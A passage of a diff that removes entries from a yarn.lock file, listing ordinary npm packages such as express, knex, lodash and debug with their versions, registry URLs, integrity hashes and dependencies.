-  integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
-
-cookie-signature@1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
-  integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
-
-cookie@0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
-  integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
-
-core-util-is@1.0.2, core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-cors@^2.8.5:
-  version "2.8.5"
-  resolved "https://registry.yarnpkg.com/cors/-/cors-2.8.5.tgz#eac11da51592dd86b9f06f6e7ac293b3df875d29"
-  integrity sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==
-  dependencies:
-    object-assign "^4"
-    vary "^1"
-
-dashdash@^1.12.0:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
-  integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
-  dependencies:
-    assert-plus "^1.0.0"
-
-debug@2.6.9:
-  version "2.6.9"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
-  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
-  dependencies:
-    ms "2.0.0"
-
-debug@4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
-  integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==
-  dependencies:
-    ms "2.1.2"
-
-debug@^3.2.6:
-  version "3.2.7"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
-  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
-  dependencies:
-    ms "^2.1.1"
-
-deep-extend@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/deep-extend/-/deep-extend-0.6.0.tgz#c4fa7c95404a17a9c3e8ca7e1537312b736330ac"
-  integrity sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==
-
-delayed-stream@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
-  integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
-
-delegates@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/delegates/-/delegates-1.0.0.tgz#84c6e159b81904fdca59a0ef44cd870d31250f9a"
-  integrity sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=
-
-depd@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
-  integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
-
-destroy@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
-  integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
-
-detect-libc@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-1.0.3.tgz#fa137c4bd698edf55cd5cd02ac559f91a4c4ba9b"
-  integrity sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=
-
-ecc-jsbn@~0.1.1:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
-  integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=
-  dependencies:
-    jsbn "~0.1.0"
-    safer-buffer "^2.1.0"
-
-ee-first@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
-  integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-
-encodeurl@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
-  integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
-
-escalade@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
-  integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
-
-escape-html@~1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
-  integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
-
-esm@^3.2.25:
-  version "3.2.25"
-  resolved "https://registry.yarnpkg.com/esm/-/esm-3.2.25.tgz#342c18c29d56157688ba5ce31f8431fbb795cc10"
-  integrity sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==
-
-etag@~1.8.1:
-  version "1.8.1"
-  resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
-  integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
-
-express@^4.17.1:
-  version "4.17.1"
-  resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
-  integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
-  dependencies:
-    accepts "~1.3.7"
-    array-flatten "1.1.1"
-    body-parser "1.19.0"
-    content-disposition "0.5.3"
-    content-type "~1.0.4"
-    cookie "0.4.0"
-    cookie-signature "1.0.6"
-    debug "2.6.9"
-    depd "~1.1.2"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    finalhandler "~1.1.2"
-    fresh "0.5.2"
-    merge-descriptors "1.0.1"
-    methods "~1.1.2"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    path-to-regexp "0.1.7"
-    proxy-addr "~2.0.5"
-    qs "6.7.0"
-    range-parser "~1.2.1"
-    safe-buffer "5.1.2"
-    send "0.17.1"
-    serve-static "1.14.1"
-    setprototypeof "1.1.1"
-    statuses "~1.5.0"
-    type-is "~1.6.18"
-    utils-merge "1.0.1"
-    vary "~1.1.2"
-
-extend@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
-  integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
-
-extsprintf@1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
-  integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
-
-extsprintf@^1.2.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f"
-  integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8=
-
-fast-deep-equal@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
-  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
-
-fast-json-stable-stringify@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
-  integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
-
-finalhandler@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
-  integrity sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==
-  dependencies:
-    debug "2.6.9"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    statuses "~1.5.0"
-    unpipe "~1.0.0"
-
-forever-agent@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
-  integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=
-
-form-data@~2.3.2:
-  version "2.3.3"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6"
-  integrity sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==
-  dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.6"
-    mime-types "^2.1.12"
-
-forwarded@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
-  integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==
-
-fresh@0.5.2:
-  version "0.5.2"
-  resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
-  integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=
-
-fs-minipass@^1.2.5:
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-1.2.7.tgz#ccff8570841e7fe4265693da88936c55aed7f7c7"
-  integrity sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==
-  dependencies:
-    minipass "^2.6.0"
-
-fs.realpath@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
-
-fstream@^1.0.0, fstream@^1.0.12:
-  version "1.0.12"
-  resolved "https://registry.yarnpkg.com/fstream/-/fstream-1.0.12.tgz#4e8ba8ee2d48be4f7d0de505455548eae5932045"
-  integrity sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==
-  dependencies:
-    graceful-fs "^4.1.2"
-    inherits "~2.0.0"
-    mkdirp ">=0.5 0"
-    rimraf "2"
-
-function-bind@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
-  integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
-
-gauge@~2.7.3:
-  version "2.7.4"
-  resolved "https://registry.yarnpkg.com/gauge/-/gauge-2.7.4.tgz#2c03405c7538c39d7eb37b317022e325fb018bf7"
-  integrity sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=
-  dependencies:
-    aproba "^1.0.3"
-    console-control-strings "^1.0.0"
-    has-unicode "^2.0.0"
-    object-assign "^4.1.0"
-    signal-exit "^3.0.0"
-    string-width "^1.0.1"
-    strip-ansi "^3.0.1"
-    wide-align "^1.1.0"
-
-getopts@2.2.5:
-  version "2.2.5"
-  resolved "https://registry.yarnpkg.com/getopts/-/getopts-2.2.5.tgz#67a0fe471cacb9c687d817cab6450b96dde8313b"
-  integrity sha512-9jb7AW5p3in+IiJWhQiZmmwkpLaR/ccTWdWQCtZM66HJcHHLegowh4q4tSD7gouUyeNvFWRavfK9GXosQHDpFA==
-
-getpass@^0.1.1:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa"
-  integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=
-  dependencies:
-    assert-plus "^1.0.0"
-
-glob@^7.0.3, glob@^7.1.3:
-  version "7.1.7"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
-  integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-graceful-fs@^4.1.2:
-  version "4.2.6"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
-  integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==
-
-har-schema@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
-  integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
-
-har-validator@~5.1.3:
-  version "5.1.5"
-  resolved "https://registry.yarnpkg.com/har-validator/-/har-validator-5.1.5.tgz#1f0803b9f8cb20c0fa13822df1ecddb36bde1efd"
-  integrity sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==
-  dependencies:
-    ajv "^6.12.3"
-    har-schema "^2.0.0"
-
-has-unicode@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/has-unicode/-/has-unicode-2.0.1.tgz#e0e6fe6a28cf51138855e086d1691e771de2a8b9"
-  integrity sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=
-
-has@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
-  integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
-  dependencies:
-    function-bind "^1.1.1"
-
-helmet@^4.6.0:
-  version "4.6.0"
-  resolved "https://registry.yarnpkg.com/helmet/-/helmet-4.6.0.tgz#579971196ba93c5978eb019e4e8ec0e50076b4df"
-  integrity sha512-HVqALKZlR95ROkrnesdhbbZJFi/rIVSoNq6f3jA/9u6MIbTsPh3xZwihjeI5+DO/2sOV6HMHooXcEOuwskHpTg==
-
-http-errors@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f"
-  integrity sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-errors@~1.7.2:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
-  integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw==
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.4"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-signature@~1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1"
-  integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=
-  dependencies:
-    assert-plus "^1.0.0"
-    jsprim "^1.2.2"
-    sshpk "^1.7.0"
-
-iconv-lite@0.4.24, iconv-lite@^0.4.4:
-  version "0.4.24"
-  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
-  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
-  dependencies:
-    safer-buffer ">= 2.1.2 < 3"
-
-ignore-walk@^3.0.1:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/ignore-walk/-/ignore-walk-3.0.4.tgz#c9a09f69b7c7b479a5d74ac1a3c0d4236d2a6335"
-  integrity sha512-PY6Ii8o1jMRA1z4F2hRkH/xN59ox43DavKvD3oDpfurRlOJyAHpifIwpbdv1n4jt4ov0jSpw3kQ4GhJnpBL6WQ==
-  dependencies:
-    minimatch "^3.0.4"
-
-inflight@^1.0.4:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
-  dependencies:
-    once "^1.3.0"
-    wrappy "1"
-
-inherits@2, inherits@2.0.4, inherits@~2.0.0, inherits@~2.0.3:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
-  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
-
-inherits@2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
-  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
-
-ini@~1.3.0:
-  version "1.3.8"
-  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
-  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
-
-interpret@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/interpret/-/interpret-2.2.0.tgz#1a78a0b5965c40a5416d007ad6f50ad27c417df9"
-  integrity sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==
-
-ipaddr.js@1.9.1:
-  version "1.9.1"
-  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
-  integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
-
-is-core-module@^2.2.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.4.0.tgz#8e9fc8e15027b011418026e98f0e6f4d86305cc1"
-  integrity sha512-6A2fkfq1rfeQZjxrZJGerpLCTHRNEBiSgnu0+obeJpEPZRUooHgsizvzv0ZjJwOz3iWIHdJtVWJ/tmPr3D21/A==
-  dependencies:
-    has "^1.0.3"
-
-is-fullwidth-code-point@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz#ef9e31386f031a7f0d643af82fde50c457ef00cb"
-  integrity sha1-754xOG8DGn8NZDr4L95QxFfvAMs=
-  dependencies:
-    number-is-nan "^1.0.0"
-
-is-fullwidth-code-point@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
-
-is-typedarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
-  integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
-
-isarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-isexe@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-  integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
-
-isstream@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
-  integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
-
-jsbn@~0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513"
-  integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM=
-
-json-schema-traverse@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
-  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
-
-json-schema@0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13"
-  integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=
-
-json-stringify-safe@~5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
-  integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
-
-jsprim@^1.2.2:
-  version "1.4.1"
-  resolved "https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2"
-  integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=
-  dependencies:
-    assert-plus "1.0.0"
-    extsprintf "1.3.0"
-    json-schema "0.2.3"
-    verror "1.10.0"
-
-knex@^0.95.6:
-  version "0.95.6"
-  resolved "https://registry.yarnpkg.com/knex/-/knex-0.95.6.tgz#5fc60ffc2935567bf122925526b1b06b8dbca785"
-  integrity sha512-noRcmkJl1MdicUbezrcr8OtVLcqQ/cfLIwgAx5EaxNxQOIJff88rBeyLywUScGhQNd/b78DIKKXZzLMrm6h/cw==
-  dependencies:
-    colorette "1.2.1"
-    commander "^7.1.0"
-    debug "4.3.1"
-    escalade "^3.1.1"
-    esm "^3.2.25"
-    getopts "2.2.5"
-    interpret "^2.2.0"
-    lodash "^4.17.21"
-    pg-connection-string "2.4.0"
-    rechoir "^0.7.0"
-    resolve-from "^5.0.0"
-    tarn "^3.0.1"
-    tildify "2.0.0"
-
-lodash@^4.17.21:
-  version "4.17.21"
-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
-  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
-
-media-typer@0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
-  integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
-
-merge-descriptors@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-  integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
-
-methods@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
-  integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
-
-mime-db@1.48.0, "mime-db@>= 1.43.0 < 2":
-  version "1.48.0"
-  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.48.0.tgz#e35b31045dd7eada3aaad537ed88a33afbef2d1d"
-  integrity sha512-FM3QwxV+TnZYQ2aRqhlKBMHxk10lTbMt3bBkMAp54ddrNeVSfcQYOOKuGuy3Ddrm38I04If834fOUSq1yzslJQ==
-
-mime-types@^2.1.12, mime-types@~2.1.19, mime-types@~2.1.24:
-  version "2.1.31"
-  resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.31.tgz#a00d76b74317c61f9c2db2218b8e9f8e9c5c9e6b"
-  integrity sha512-XGZnNzm3QvgKxa8dpzyhFTHmpP3l5YNusmne07VUOXxou9CqUqYa/HBy124RqtVh/O2pECas/MOcsDgpilPOPg==
-  dependencies:
-    mime-db "1.48.0"
-
-mime@1.6.0:
-  version "1.6.0"
-  resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
-  integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
-
-minimatch@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
-  dependencies:
-    brace-expansion "^1.1.7"
-
-minimist@^1.2.0, minimist@^1.2.5:
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
-  integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
-
-minipass@^2.6.0, minipass@^2.8.6, minipass@^2.9.0:
-  version "2.9.0"
